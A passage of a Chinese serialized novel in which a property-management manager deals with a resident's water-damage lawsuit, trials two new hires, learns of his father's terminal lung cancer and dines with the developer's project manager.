“还有刘才东为什么被杀，郑杰也是不知道了？” “对。但是这些事，我推测丁有生一定都知道，等我消息吧，已经开始收网了。” “老林，我替东哥感谢你！”我在电话里不无感慨。 “行了，我要忙去了，有空说吧。”林翔结束了和我的通话。 我看看车窗外，还有两站地就到德邻居，不管怎么说，现在这个案子已经有了很大进步，值得高兴。 正想着，手机又响了，是袁振文的电话。 “您好袁总，我在车上，信号弱，您有什么指示？”我先问候。 “向荣，你得去一趟德邻居，那边出了一起诉讼，都闹到集团法务了，赶快出台应急预案，要不然在老板那不好说。”袁振文说。 “这么巧，我马上就到德邻居了袁总。据我了解，我们物业人员配备不齐，一共就两个人，咋还被告了啊？”我问。 “德邻居有历史遗留问题，当初开发商拖延，耽误了最佳介入时间，导致我们很被动。” “原来是这样，行，袁总你别急，我一会儿到了先了解一下情况。” 跟袁振文结束了通话后，我按按太阳穴，层出不穷的问题啊，不知道我会不会哪一天折在哪一个问题上，毁了我一世的英名。 德邻居属于高层和多层混合式住宅，地理位置位于二环内，周边的交通还可以，但也确实较嘈杂。 物业办公室是一个简陋的售楼处改的，只有一个办公室，其它的房间都上了锁。 我到那以后，办公室里围了好多人，吵吵闹闹的，不知道出了什么事。 我想先听一听。 屋里的几个人都是业主家的，围攻的那个女的就是保洁王红。 “我不管，这事儿你们物业必须赔偿，就是你们物业的责任，你想推脱，没那么容易。” “业主，我没有推脱的意思，但是我就是一个保洁，你这个事我已经跟管事儿的说了，他到了就给你个说法，好不好？”王红商量。 “管事儿的、管事儿的，你都说了多少天了？你们管事儿的搁哪管事儿呢！” 业主是个女的，嘴茬子厉害，嗓门还高，我看着王红都有些惧怕她的表情。 这时候一个也穿着物业制服的男的说话了，“徐女士，我们同事说管事儿的要来就肯定来，您得相信我们啊！” “相信你们？就是太相信你们了，我家的屋都废了，几十万的装修费，谁负责？” “你楼上跑水，让物业负责，这不合适啊！”我猜说话的是工程老赵。 这时候王红拽了拽老赵的衣角，那个徐女士听完就炸了，“物业负责不合适？你敢不敢对这句话负责任？我告诉你，我不但去起诉了，我还要去投诉你们，把你们这破物业的服务弄网上去，让网友评评理，看看你们负责任合不合适！” 我赶紧出现，再不出现又搞出个负面舆情，我可一个头俩大。 “业主，业主，您消消火，我来了，管事儿的来了。”我赔着最灿烂的笑脸贴上去。 大家都不说话了，集体看向我。 “您是吕总？”王红问。 “对，我就是吕向荣，你们好啊，王红、老赵。”我不卑不亢的走进了办公室。 徐女士一看还真的是管事儿的，也没管那个，“啪”的一声拍了下桌子。 “怎么着啊！吕总怎么的，吕总来了我的损失就不用赔了是吗？”徐女士的眼珠快瞪出来了。 “王姐，给徐女士倒杯水。我来了才得给您做主呢，您别着急，三天内一定给您一个说法，我先讯问一下我这俩员工，您给我点时间，感谢感谢！” 我是连点头带作揖，一顿保证，才把这位太奶送走，走的时候说给我三天时间。 第一百一十三章 跑水了找谁索赔 办公室安静下来后，我看看王红和老赵，两个人年纪都不小了，被业主劈头盖脸的数落搞的灰头土脸。 他们应该也没想到一个月就赚个几千元，却还要搭着被埋怨、被数落，甚至是被责骂的风险吧。 “王姐，赵哥，你们辛苦了！今天是我们第一次见面，我是吕向荣，感谢你们的辛苦付出！”我伸出手逐一跟他们握手。 王红和老赵明显被我的热情所感染，有点意外，老赵说：“吕总，没想到您这么年轻啊！这么年轻就做上这么高的职位，您真是有本事呀！” 王红也跟着附和：“是啊，在电话里听声音倒是想象不出来，吕总真年轻。” “哈哈，你们不用夸我，来，都坐下，我们慢慢说，这个徐女士具体什么情况？” 老赵给王红递了个眼色，意思让王红先说，王红拉开了话匣子。 原来徐女士办理入住后，花费了大量的时间和金钱装修房子，没成想楼上住户跑水，把徐女士家的厨房、卫生间、客厅的部分屋顶都给浸泡起皮了。 找到楼上业主，答复是他家一点也没有漏，并且很不情愿配合检查问题。 经过老赵多次协调，解决了问题，但是徐女士心里不痛快，认为物业在装修管理上没有尽到责任，要求物业索赔，还拒绝交物业管理费。 “吕总，你说说，她找我们理赔合理吗？跑水了得找开发商去啊，他们盖的楼质量不好。”王红说。 我看看老赵，示意他也说一说。 老赵说的话很中肯，“吕总，我去帮着徐女士做了修葺，这次跑水确实不是楼上住户过失导致的，属于房屋质量不好导致的水渗漏，这事儿按正理儿得找开发商索赔，不应该找咱们物业。你说她那个室内也不是公共区域，找我们算咋回事儿。” “老赵说的有道理，有理有据的，这话我相信你也一定跟徐女士表达过，对吧？” 老赵点点头。 “但是没用，反倒起了副作用是吧？”我继续问。 老赵和王红都点头。 “她现在不但来这里闹，还去起诉了，集团法务也知道了，来的路上我的顶头上司和我说的，我也一头雾水。”我说。 “吕总，她爱哪告哪告吧，咱们不理她。”王红说。 “王姐，这可不行啊，现在有种力量叫做网络舆论，一旦上升到了互联网，有些不嫌事儿大的网民再一加入，咱们德邻居就有名了，集团也有名了，而且还是不好的名。” “啊？那咋办呀，吕总？我可太忌惮她了，下回再来，可别找我，我可整不了！吕总啊，您得招人啊，不是我推脱，我今年50多岁了，没什么文化，我来这打工，就是干个保洁，这么艰巨的任务我哪完成得了！”王红话糙理不糙。 老赵也频频点头，“吕总，我俩加一起100多岁了，说实话，咱们也想图个清静，认真干活，到点能下班。身体和精力都不允许我们再奋力拼搏了，一个月2000来块钱儿，也犯不上天天挨骂，你说是不是？” “吕总，我和老赵都是粗人，不太会说话，有说的不对的，您就指正，别跟我们一样的。”王红听出来了有些话刺耳，赶忙给我赔着笑解释。 其实我早就能理解到这一层，也觉得他们确实不容易，但是迟迟上不来人，问题出在哪了？ “王姐，谁负责给这里招人啊？”我问。 “是林总，他安排人给我们招人。” 我心想，“啊？又是林皓变动导致的工作拖延，得！这事儿又撂我身上了。” “一个人都没招进来过吗？到底差在哪了？王姐你知道不？”我问。 “好像是嫌我们给的工资少。”王红说。 “你和老赵是林总招进来的不？”我又问。 “是，我和老赵是经人介绍的，林总电话面试了一下就让我们来了。其实我们也觉得工资不高，但是你是知道的，我们年纪不小了，而且住的也近，就一直干下来了。” “行，今天时间也不早了，你们下班回去吧，我想想这个事，这次争取都给你们解决。” 王红和老赵一听我这么说，都笑了，“那行，那吕总，我们先走了啊！”王红说。 我朝他们摆摆手，一屁股坐在椅子里，我想好好歇一歇。 刚闭目养个神，我的手机响了，拿出来一看是我妈的号码。 “喂，亲爱的妈妈，您怎么打来了？您这是有心电感应啊，知道我想你了。” “我说向荣啊，你都多大了，还跟你妈这么贫，这孩子！”我妈其实心里开心着呢。 “哈哈，妈，我是真想你了，有什么事，说吧。”我很开心的问。 “向荣，我和你说个事儿，你要有个准备，你爸得了癌症，肺癌，我和你姐都瞒着他，他还不知道，你别说漏了嘴。”我妈很平静的说。 我当时就好像脑子不是自己的了一样，“妈，你说啥呢！不许跟儿子这么闹。” “妈没跟你闹，妈知道这事你无法接受，妈已经知道一个多月了，才能这么平静的告诉你。”我听见我妈开始抽泣。 我不知道该说什么了，总觉得不可能的，不是真的，我离开家的时候我爸还好好的呢！ 还把我的行李马扎的结结实实的，走时候还告诉我要规矩儿的，不许给他惹事儿呢！ 我爸还等着我给他买大房子，进城一起过日子呢！ “妈......你别哭，我接你和我爸来B城，我又升职了，买个小房子，我照顾你们，我们一起生活。”我迫切的说，我想着弥补亏欠父母的时间。 “向荣，妈也是这个意思，医生说你爸这个是肺癌晚期，肿瘤的位置不适合做手术，让我们保守治疗。我寻思在他最后的这些时间，我们一家人能陪着他。” “妈，这个事不是小事，你和我爸过来，我带你们在B市的大医院再检查检查，多看几家医院，最后咱们再确定。我爸现在身体各方面反应怎么样？”我问。 “他其它的都好，就是经常会发烧，度数倒是不高，37、8度那样的，发烧就不爱好。你爸想你，完自己还倔，不敢给你打电话，总说怕影响他儿子工作。” 我妈最后这些话说完，我很难受，很想落泪，“妈，那你和我爸再等我两天，我回去接你们过来。” 结束了跟我妈的通话以后，我坐在空无一人的办公室里，哭的像个孩子。 第一百一十四章 安宁 悲伤过后冷静下来，现在是无法分身离开德邻居的，至少也要把徐女士的诉讼平息掉。 我决定给王敬之打电话，让他先带我爸去医院检查。 王敬之接起电话的时候，我半天没调整好情绪，还是有一点哽咽。 “师哥，这两天你帮我办件事。” “怎么了？吕向荣，出什么大事了？”王敬之感受到了我语气中的不寻常。 “我爸被诊断患上了肺癌，这两天我回不去，你帮我回去接他们过来，带他们去B市的大医院做检查，多去几家，看看是不是诊断结果一样。”我很低落。 “好！我明天就回去接他们。你放心，一定比你在身边伺候的还要好。”王敬之也很意外，但是他没有多问。 “师哥，我......”我说不出来了，只要一提起这件事，心里都会有莫大的悲痛在撞击。 “啥也别说了，我都了解。虽然我没有爸妈，但是我能理解你的心情。” 结束了跟王敬之的通话以后，我没有回住地，而是逼迫自己开始投入工作。 打开现在的业主档案，还有介入时跟开发商做的备忘录，强迫自己看进去，了解清楚情况才能尽快解决问题，我也才可以脱身回家看爸妈。 看到夜里，饥肠辘辘，还是得吃点东西才行，于是拖着行李，锁了办公室的门，往住地去，顺便在路上买点吃的。 德邻居附近很繁华，8、9点的时间，外边还是有很多小吃摊在营业。 想吃老妈做的手擀面，街边有个面摊吸引了我的注意，主要是飘过来的味道太香了。 摊主是一个小姑娘，年纪不大，干活很麻利，身边摆了两张桌子，都是满位。 我判断味道应该不错，于是我买了一碗面，准备等位。 小姑娘一看我拖着行李，胡子拉碴，一脸的疲惫，特意从摊床下边给我拽出一把椅子。 “大哥，你先坐这里吧，箱子可以放我推车旁边，丢不了，面马上就好。”她很热情。 我感激的点点头，然后说：“老板，你这面的味道老远就能闻到，真香！我愿意等位，不着急。” 她一边忙活一边和我说：“大哥，不用等位，等一会儿我给你找位置。” 我看看她服务这么周到，心里更有了好感。 就想跟她多聊几句，“老板，我看你年纪不大啊，摆摊赚钱吗？怎么没去找个工作呢？” “摆摊好的时候是赚钱的，但是比较机动，并不是每天生意都好。我学历不高，高中没毕业就辍学了，哪个正经公司愿意要我！”她很平静的说。 这时候，面也好了，她给我盛好了面，到旁边的摊位，跟那个老爷子耳语了几句，然后就招手让我过去。 “大哥，你坐这吃。天晚了，我看你挺疲惫的，就别等我这边的位置了，趁热吃，暖和暖和胃。” 小姑娘的热情服务让我倍感温暖，得知老爸患癌的心情稍微有了缓解。 面条的味道确实很好，“老板，你这手艺不错啊！可以开个饭店了，只是晚上出摊有点屈才了。”我感叹着。 “大哥喜欢吃就好，家里穷，没钱开店，能出摊干一天就算一天。”小姑娘很朴实。 我快要吃完的时候，远处有人喊了一声，“城管来啦，快！” 那小姑娘三下五除二将地上的几个物件扔上车，推着车就跑了，等我想起来还没付钱的时候，人已经没影了。 哎！这买卖干的跟打游击似的，过几天再来遇吧，遇到了一定要把钱给人家。 夜里翻来覆去睡不着，心里惦记着家里的事情，还想着怎么解决徐女士，一脑袋浆糊。 第二天迷迷糊糊的到了公司，王姐看着我一脸的疲惫说：“吕总，换地方没睡好吧，我给你沏杯茶，是我女儿从云南邮过来的，特别好，你等我啊。” 王姐边说边出去泡茶，我不禁感叹这两个人虽然年纪大一点，不愿意多付出，但是人品是真没得说。 今天我约了几个人来面试，准备先找一个客服上来。 昨晚上搜出三份简历，两男一女，其中一个男的高学历，还有物业工作经验，是我重点关注的对象。 另外两个条件一般，但是家庭住址都距离德邻居很近。 重点关注对象安排在第一个，但是直到面试时间过去一个小时了，人也没来。 我准备打电话问问，“喂，请问是xx吗？我是某物业集团，昨天给你打过电话邀请你来面试，现在已经过了面试时间，请问你还来吗？” “哪儿？你们负责的是哪个小区的物业？是小区物业不？”对方一点礼貌都没有。 “邀请你面试的物业是德邻居，咱们集团在临市有五家物业，都是小区物业。”我耐心的给与解释。 “那不用了，我不想去小区物业，我想去商业物业，就这样吧。”说完直接挂断电话。 给我怼的半天缓不过来神，这就是希望越大失望越大的道理，这人虽然条件不错，但是也太没礼貌了，太挑了，我们这庙小，容不下这大神。 正郁闷着，第二个面试的来了，我一看，这不是昨晚上给我做面条那姑娘吗。 “你好，我是来参加面试的。”姑娘的声音我太熟悉了。 我笑眯眯的看着她说:“昨晚上你跑得太快了，钱都忘记收了。” “哎呀，怎么是你呀，大哥！这也太巧了！”姑娘很开心。 我扫了一眼简历上的名字，安宁，这名字真好记。 “安宁，很高兴认识你！”我站起身跟她握握手。 既然是面试，基本流程还是要走的，我倒要看看这个高中没念完就辍学的孩子有没有本事胜任这个工作。 “先做个自我介绍。”我提出第一个问题。 “好！我叫安宁，今年20岁，家就住在对面那个老居民楼里，家里只有一个爷爷。我学历不高，高三没念就辍学了，辍学以后干过很多服务性工作，快餐店、收银员、服务员，都干过，主要就是跟顾客打交道，我觉得这些都是我来应聘物业客服的优势。我比较能把握住顾客的需求，就是，能看出他们想要什么，然后投其所好，所以这些年基本没有什么投诉。我爷爷病了，我需要一份工作，给他治病。” 安宁说完，大眼睛忽闪忽闪的看着我。 第一百一十五章 试用期三天 按说这条件太一般了，尤其学历，集团从前年开始就已经要求了最低学历大专，但是她的情况确实值得同情，我想给她一个展现的机会。 “安宁，你觉得读书重要不？” “重要，很重要！我特别喜欢上学读书。”她急切的表示。 “那你为什么要辍学呢？而且你知道的，现在找工作，在学历上已经卡的很严格了。” “我知道，我懂，但是领导，我虽然文凭不高，但是该会的我都会，做表，用函数公式，还有做ppt，我都特别拿手，还有写文章，我上学的时候，作文经常被老师当做范文。我辍学是因为、因为......”安宁低下头。 “没关系，不方便说可以不说。我们这个岗位属于服务性岗位，工资并不是很高，可能还要随时面对各种不理解人、颐指气使的业主，你能应付吗？” “能应付，领导，我真能应付。如果您愿意给我机会，我一定不会让您失望的。”安宁很热切的看着我。 这个姑娘让我没来由的想要帮助，想到她年纪轻轻就在街头摆摊，就觉得可惜。 家里有个爷爷，想必是生活重担都压在她的身上。 看看手里余下的一份简历，怎么也得看完再决定，“好，你先回去等我通知，三天内一定告诉你。另外这面条钱你拿着，摆小摊子不容易，自己得多加小心。” “领导，钱我就不拿了，算我请你吃的。”安宁笑眯眯的说。 “那可不成，你要是不拿，我可不敢用你，咱们一码归一码的。”我假装严肃。 “好吧，那，领导，您可一定要给我通知呀，我就等您通知了。”安宁恋恋不舍的离开了物业办公室。 看着离开的安宁，我不禁在想，这孩子到底因为什么辍学的呢？ 没一会儿，另一个候选人来了，名字叫高阳，38岁，学历大专。 “您好，高阳是吧？我们这是招聘物业客服，我看您没有相关经验，您了解这个工作是做什么的吗？”我问。 “物业客服我确实没干过，但是我在社区干过，社区的哪个岗位我都兼过，基本上都是张家长、李家短的那些事儿，然后还要做表、统计，还有后勤，应急事件处理这些，我觉得跟物业客服的工作很像。因为社区的工资太低，跟不上我家孩子的补课费，所以我想换个工资高点的工作。” 高阳很健谈，而且说话就像唠嗑一样，拉开话匣子就说个没完。 “你理解的没什么大的出入，但是我们这个岗位的工资不高，恐怕满足不了你的需求。”我必须实话实说，总好过到岗后发现低了，人再走了。 “我能问一下多少钱吗？”高阳很直接。 “3000。” “哦，确实不高。领导，您这儿还有其它的岗位吗？我就住后边的小区，要是在这工作，能兼顾家里，不用天天上班通勤。”高阳说。 “有倒是有，但是你这理念，总想着兼顾家里，我这岗位你也做不了。”我回。 “不是不是，您误会了，我是想表达我喜欢这工作离家不远。当然，肯定不会因为家庭影响工作的，这个我懂，这点职业道德我还是有的。”高阳赶紧解释。 “保安，我还需要一个保安，工资比客服高，工作时间和强度也要比客服高。我看你的年纪，应该不是很好找工作吧？”我想刺激刺激他，给他点压力。 “是啊，面试了好多单位都是不行，前面大半年基本就没有面试。现在也不知怎么了，要求年龄的越来越多，让35岁以上的都做啥去？”高阳叹了口气。 我想了想，“你先回去吧，等我通知。” 高阳没有像安宁一样，恋恋不舍的或者要求我一定要给通知，只是看看我，点点头。 我犹豫了，这两个人该怎么选呢？选谁好呢？ 索性，两个一起来吧，三天内，谁更适合就留谁。 主意打定，我分别跟安宁和高阳打了电话，通知他们试用三天，三天过后评估合格的留下正式聘用。 “领导你放心，这个工作一定是我的。”安宁很自信。 “安宁啊，也别太自信，实话说还有一个人跟你一起试用，谁通过评估就用谁，这三天很关键。”我如实相告。 另一边跟高阳我也是这么说的，而且我还是建议他考虑安保的工作，不论从性格还是薪资稳定性上来讲，他都是合适的。 尤其之前一直服务于社区，现在这个工作对他来说那就是驾轻就熟。 他们来试岗的第一天，也是徐女士三天期限的最后一天，可是徐女士等不了了，直接就上门询问我进度。 要说这徐女士呢，也不算是市井泼妇的样子，穿着打扮还是很讲究的，长相也并不是剑拔弩张，反倒透着江南女子的婉约。 可就是嗓门大，就是得理不饶人，就是她说啥就是啥，她想怎么着就怎么着。 “吕总，出乎我意料啊，我以为你安抚完我就跑路了呢，没想到你还在这稳当的坐着。” 我看看要搞事情的徐女士，依旧是一副笑脸：“姐，你来啦，我给你倒杯好茶，坐下说。” 我拿过保洁王红贡献给我的云南茶叶，准备给徐女士冲一杯。 “哎，打住打住，你现在不要跟我搞这套，我发现你这人不实在，净玩虚的，嘴巴甜的跟抹了蜜似的，一到办实事儿的时候就找不着你了。”徐女士不给我刺激生气是难受的。 我偷眼看了看拐角处两个试用的新人，他们一定能听到、也能看到这些。 也好，就让他们见识见识物业工作真实的一面，如果今天过了以后、明天他们还过来，那以后也没什么问题了。 “姐，您看，您咋这么不待见我呢，咱俩萍水相逢的，而且我这么积极的在给你想办法解决问题是不是？咱们不是还有一天到期么，您别急呀！”我还是陪笑脸。 “哼！”徐女士鼻孔快看到天花板了。 我起身刚要往放好了茶叶的杯子里倒水，看见安宁拿着已经冲泡好的咖啡走了过来。 “姐，您喝咖啡，温度刚好的，现在就可以喝。”声音不卑不亢，带着女孩子特有的柔弱。 徐女士明显一愣，抬眼看了一下安宁，安宁也借机会看清了徐女士，两个人都愣住了。 安宁愣了几秒，脸上毫无表情的就转身走了，甚至还有一些冷，我还没见过她这样的表情。 徐女士不说话，脸上很平静，但是我明显感觉不对，她那股子嚣张气焰没了。 也不知道在想什么，眼睛里闪闪烁烁的。 “姐？姐姐？”我想提醒她喝咖啡，边喝边聊。 她好像游魂刚回来一样，愣愣的说：“嗯嗯，怎么了？你说。” “没什么，这咖啡是我们小姑娘新泡的，你尝尝，好喝着呢！”我根本没喝过，但是我知道安宁的手艺差不了。 “啊......”徐女士拘谨的端起杯子，一小口一小口的喝着。 我感觉我现在看到的才是徐女士本人，之前那个又泼又辣的样子是她对外的伪装。 可是她喝着喝着又停下了，指指安宁唯唯诺诺的问我：“她是哪一个？” 第一百一十六章 我认识她 我的好奇心被挑起，“徐女士，你认识她？她是我们物业新招聘的员工，负责客服的。” “我？哦、哦，我、我不认识她！”徐女士支支吾吾的，却极力否认。 直觉告诉我，她们之间有故事，应该还不太寻常。 这世界有巧合吗？有缘分的人怎么都会遇到。 “姐，你那索赔的事情，你想让我们物业也补偿你些损失是么？因为据我的了解，你全部的维修费我们都没让你出钱。”我切入正题。 “你们弄的房子质量不行，出了这么大的问题，怎么还让我自己掏腰包修吗？”一说到正事她那股子不饶人的劲儿就又上来了。 “姐，我不是这个意思，你别急呀，你听听我的想法，好不？”我还是商量她。 徐女士不说话了，但是嗓门确实没有刚才高了，不知道是不是因为知道有安宁在。 “我知道你这个装修花费了不少钱，给棚顶冲了，心里肯定是心疼，这我们都理解。所以我们及时的帮你解决问题，不管是修也好，还是沟通开发商赔偿也好，我们都在进行中。主要您这一起诉，集团知道了，有些事儿我就不好办了......”我故意装作有些事情不能拿出来说的样子看着她。 “什么意思？你想给我赔，你们集团不同意？”徐女士的好奇心被我挑起来。 “徐女士，你可以咨询一下律师，这种情况物业要不要给你赔偿，我觉得他们说的肯定比我告诉你的更有说服力。但是这个不是重点，重点是你既然来找我寻求帮助了，而且你住在我的管片儿，那我就要想尽办法帮你解决问题。” 徐女士被我说迷糊了，不知道我要表达什么。 这时候高阳走过来，很严肃的说：“徐女士，按照现行法律，房屋质量不好导致水渗漏，是业主与开发商之间基于房屋买卖合同而产生的合同法律关系，是开发商交付的房屋存在瑕疵导致水管跑水致使业主遭受损失，开发商应当承担违约赔偿责任，与物业没有关系的。如果是楼上业主过失导致跑水，是业主之间基于侵权行为而产生的侵权法律关系，也和物业没关系，您找物业赔偿没道理的。” 我的心如同掉入冰窟，这个高阳啊，社区和物业的角色还没有转变过来呢！ 社区岗位你属于高位服务低位，人家不管怎么说也是还有忌惮，物业的角色那就是低位服务，你还和业主掰扯道理，越掰扯人家越不舒服。 果然，徐女士眼睛又立起来了，“怎么着啊？你和吕总两个人给我搁这唱双簧呢！要是这样，没得谈，我不但不会撤诉，还要把你们这个言论发布到业主群、互联网，你们等着吧！” 徐女士穿着小高跟鞋 duang duang duang 的，就要推门出去，这时候安宁说话了。 “徐女士，咱们会想办法帮你解决赔偿问题的，你还是不要去扩大影响吧，矛盾激化了，你的目的也未必能达到啊。”声音还是柔弱的，不争不闹。 徐女士像被定住了，回头看着安宁，这回我可看清了，那眼神里面写满了愧疚。 她张张嘴，没说出什么，好像下了很大决心，推门出去了。 本来是可以灭了的火，就这样被高阳加了一把柴，即将熊熊燃烧。 高阳尴尬的看看远去的徐女士，又看看我，说：“吕总，我......她不懂啊，她肯定得败诉，何必呢！” 我看看还是没搞明白关键问题的高阳，哭笑不得。 这时候安宁走过来说：“领导，她不会去扩散的，你放心。” 谜题的诱惑吸引我再次想要刺探，“你为什么这么肯定？” 高阳也是很不服气的看着安宁。 “高大哥，你说的没错，你懂的真多，能和你成为同事，我很荣幸。”安宁先是和高阳表示赞许。 话说的让高阳很不好意思，脸有点红，也不像刚才一样盯着安宁看了。 其实我心里也明镜的，他能理解该怎么做，但是，他不愿意那么做。 “领导，我认识她，以我对她的了解，她不会去扩散。”安宁直接就揭晓了谜底。 “你认识她？怎么认识的？”我追问。 “我小时候，她是我们家邻居，年轻漂亮，不甘于现状，出去闯了一番，今天看看应该是闯的挺成功，嘻嘻。”安宁说。 “你家邻居？那你们的关系，很好？”我又问。 “嗯，曾经有很长的一段时间，关系都很好，但是人家瞧不起咱们，后来断了走动。” 哦，原来是这样，我若有所思的看看安宁，“好了，你们都去工作吧，我出去看看。” 走出物业办公室，我相信安宁说的，徐女士不会去扩散，但是她这个诉求如粳在喉，迟早也是个问题，该怎么让她舒服的消化呢？ 出来换换脑子，又开始惦记我爸来检查的事，不知道王敬之接到他们没有。 拨通王敬之的手机，响了很久都没人接。 我又给我姐打了电话，电话没响两声，就传来我姐的声音，“喂，向荣，你也知道给我打电话，你怎么样了？这几年在外面，有没有惹事儿打架？” 我姐还是对我放心不下，我也不是小孩子了。 “姐，我挺听领导话的，而且还升职当领导了。你什么时候来城里看看弟弟？带着我大外甥。”我还是喜欢跟我姐像孩子一样聊天。 “向荣，爸和妈跟敬之去你那里了，爸的事情，你也不要太难过，姐听说癌症病人到了后期是很痛苦的，姐不希望看到爸痛苦......”我姐的抽泣声淹没了下面的话。 我也很难受，尤其听见我姐哭，也就是说爸得癌症这件事是铁板钉钉了，是真的。 “姐，你别哭，我会安排给爸多做一些检查，就即便是真的，我也会不让他那么痛苦，你相信我，你忘了你弟弟是学什么的了？”我也忍不住哽咽。 “姐当然相信，我弟没别的本事，看病抓药是一流的。小弟，你好好照顾爸妈，姐有时间就过去。”我姐是坚强的，在某一时刻，她有着和我一样的坚韧。 “还有啊，你记得平时低调一点，不要总是显摆自己，容易招惹事端。”她又补充。 “行，放心吧，我知道。” 这时候王敬之的电话进来了，我跟我姐结束了通话。 “师哥，进展怎么样？” “......向荣，应该是真的。这两天去了医大，结果跟你家乡医院出的一致，而且肿瘤还长大了好多。今天我们准备去肿瘤医院，刚挂完号，叔叔就剧烈咳嗽，我看咳出来的痰里有血。他应该也看到了，但是他没说啥，好像是怕我们跟着着急。”王敬之如实说。 我心里面最后的希冀也破灭了，看来爸的时间快到了，可是我还有好多孝心没有尽呢，我还没有带他享享清福呢！ 没来由的悲痛席卷着我，什么起诉、客服、乱七八糟的这些工作的事我都不想再去思考了，我疲于奔波为了赚钱给父母更好的生活，但是到头来发现，我不但没给上，还要带着浓浓的遗憾失去。 第一百一十七章 力哥 站在外面许久，情绪没那么汹涌难过了，我准备往回走。 转身回去的时候，一眼看到开着红色宝马车的徐女士，神色黯然的在等着园区门抬杆。 她没看见我，我把她脸上的表情尽收眼底，眼睛红红的，好像哭过，这是怎么了？ 回到物业办公室，迎面就看见安宁，奇怪，这丫头也眼睛红红的，这都是什么情况。 “安宁，你帮我联系一下开发商的项目总许力，再定个饭店的包房，今晚，就说我请他吃饭。”我递给安宁一个电话通讯录。 “然后把这个通讯录变成电子版，以后方便随时更新。你再看看电脑里有没有业主档案的电子版，如果有的话，把没有更新的信息也都更新进去。”我想验验她的办公技能。 “好咧，领导，你啥时候要？”安宁还知道问任务完成时间。 “越快越好！”我回。 我看了看高阳，这小子明显有点灰心，在徐女士的问题上，他显然没有安宁会处事。 我走过去跟他说：“高阳，你跟我去一趟消控室，我带你熟悉熟悉咱们的硬件。” 高阳欣然应允，出了办公室的门，还有点忐忑，跟在我后面走了会儿，然后撵上来跟我说：“吕总，我刚才是因为我想、我想帮您解决问题，没想到帮倒忙了。” 我一听，还行，知道反思，也知道承认，值得培养。 “没关系，你之前毕竟没在物业干过，我能理解。而且我也是希望通过这些让你知道物业的工作难在哪里，这样我们双方最后才能做出对彼此负责任的决定。”我实话实说。 来到消控室，他看着配备一新的先进设备，眼睛一亮，有点不相信似的说：“没想到咱们物业这么正规，这些东西都很齐备。” “那是当然的，我们集团合法合规经营，虽然现在体量大了有点累，但是基本上都是良性运转的，目前都是成熟型盘子。？”我介绍。 我告诉他哪个是火灾自动报警系统、哪个是消防联动控制系统，他很认真的听，看着很感兴趣。 “高阳，其实你只是需要想一下你喜不喜欢物业工作，至于是客服还是安保，没太大关系。安保基本上都是男的干，工资高，工作时间会有加班，但也是轮换制。” “咱们这儿以后几个安保？”高阳问。 “至少2个。除了消控室，还有园区内的安全管理、秩序维护。我建议你考虑，咱们集团的福利待遇都是很正规的。”我看看高阳，确实希望他留下来。 他有社区工作经验，处理过各家各户生活中的事情，这些都是我所需要的。 很快就到了下班时间，我看看收拾东西准备下班的两个人，不知道明天还会不会继续过来，“吕总，我先回去了。”高阳跟我打招呼。 我点点头，“明天见。” 他犹豫了一下，很轻的声音说：“明天见。” “领导，我帮您约好许力了，这是酒店的地址，预定电话留的您的号码。通讯录和业主档案我也更新好了，发到你的邮箱里了，您有时间可以看看。”安宁说。 “你的工作效率这么高的吗？下午布置给你，晚上就都弄利索了。很好！先下班吧，我晚上看。对了，晚上要是还出摊，可一定要小心。”我嘱咐着。 “你放心吧，领导，我先回去了。”安宁笑着出了办公室。 这女孩子真不错，自力更生，有些男同志都比不上。 许力是开发德邻居的甲方项目经理，当初介入的时候是跟林皓做的交接。 到了预定饭店之后，我坐在包房里等，心里想着接下来要聊的事情，许力能否同意。 正想着，突然听到走廊里有洪钟一样的声音问哪间是吕先生预定的包房。 那声音真的让人过耳不忘，很特别，凭声音判断，他应该是一个魁梧的壮汉。 包房门拉开以后，一个中等身材、皮肤白净的人看向我，“您是吕向荣？我是许力。” 声音跟长相反差如此大，我很意外，“您好，许总，我是吕向荣，快请进。” “你好、你好”，许力形式化的跟我握了握手，走到我对面的位置上坐下。 我看看许力，外形更像南方人，平头、眉清目秀，皮肤白，还戴一副眼镜。 我打量他的时候，他也在悄悄看我，看不出有什么表情，也不着急说话。 “许总，今天第一次见面，您的声音跟本人的反差还真大啊，哈哈。”我先打破沉默。 “哦，怎么说？”许力没反应过来。 “您这嗓音像我们北方男人，您的样子么，倒是更像南方人。”我说。 “嗯，是的，很多人都这么说。不过，我确实是北方人。”许力反应慢，呆板。 “那您的老家是哪里？”我问。 “我老家是哈尔滨的。”许力倒不隐瞒。 “哈尔滨好地方啊！我很喜欢那里，可惜没有机会去。” “吕总也很年轻嘛，我看你的样子应该也就30岁，你比老林年轻很多。你们什么原因不要老林了？这么敬业的一个人你们公司都不要了？”许力的话让我很意外。 看来，他跟林哥的关系不一般啊，而且，这个人应该很直率，对一个第一次见面的人能这么直的说话，只有两种可能： 一是他没把我放在眼里，二是他性格如此，直来直往，不会套路。 “林哥是自己去创业了，不是公司不要他。我是林哥一手提拔起来的，是他带我入了行，我们现在也有联系，等他自己创业成功，我有可能会过去呢。”我也很“直接”。 许力明显热络起来，“你是老林的徒弟啊，你早说嘛！” “早说怎么？”我问。 “早说还用吃饭呀，有话就说，我给你办！”许力哈哈笑起来。 没想到，得来全不费工夫！ “那我就不叫你许总了，称呼你为力哥吧，好不好？”我也笑起来。 “当然啊，力哥好，力哥，就力哥。”许力点燃一根烟。 我看见他被烟熏黄的指尖，叹口气说：“力哥，这烟草嘛，百害无利，少抽点烟。来，我让服务员上菜吧，咱们哥俩喝点。” 许力听了我的话，看看烟头，苦笑了一下，说：“好，听兄弟的。” 第一百一十八章 985硕士的悲情 我给许力的酒杯里倒满白酒，他搓搓手说：“我跟向荣，属不属于他乡遇故知呀！” “当然属于啊！来，力哥，这杯我敬你，我这当小弟的，先干为敬。”我边喝边想，这许力说话文绉绉的，难不成还是个高知？ 许力看我干了，也跟着喝光了自己杯里的酒，一边吃菜，我一边问他：“力哥，我看你戴着眼镜，文质彬彬的，你不会是哪个名牌大学的高知吧？” “同济大学，建筑设计，硕士。”许力根本没当回事的就说出来。 我当场愣住了，也许是没实力念大学的原因，对于这类知识分子我有种油然的崇拜。 “力哥，真人不露相啊！硕士啊，研究生！”我有点语无伦次。 “哈哈，向荣，不至于不至于，再怎么样，也要吃饭，也要生活，也要做牛马。” “力哥，咋说的有点悲观呢，你这个牛马不比我这种的要高级多了啊，至少薪资翻好几倍。”我说的全是心里话。 “不是你想的那样的，如果有机会，我还真想回家去，家里有老婆、有儿子......在这儿，都是无奈之举，为了钱而已。”许力落寞的吃着菜，又倒满了一杯酒。 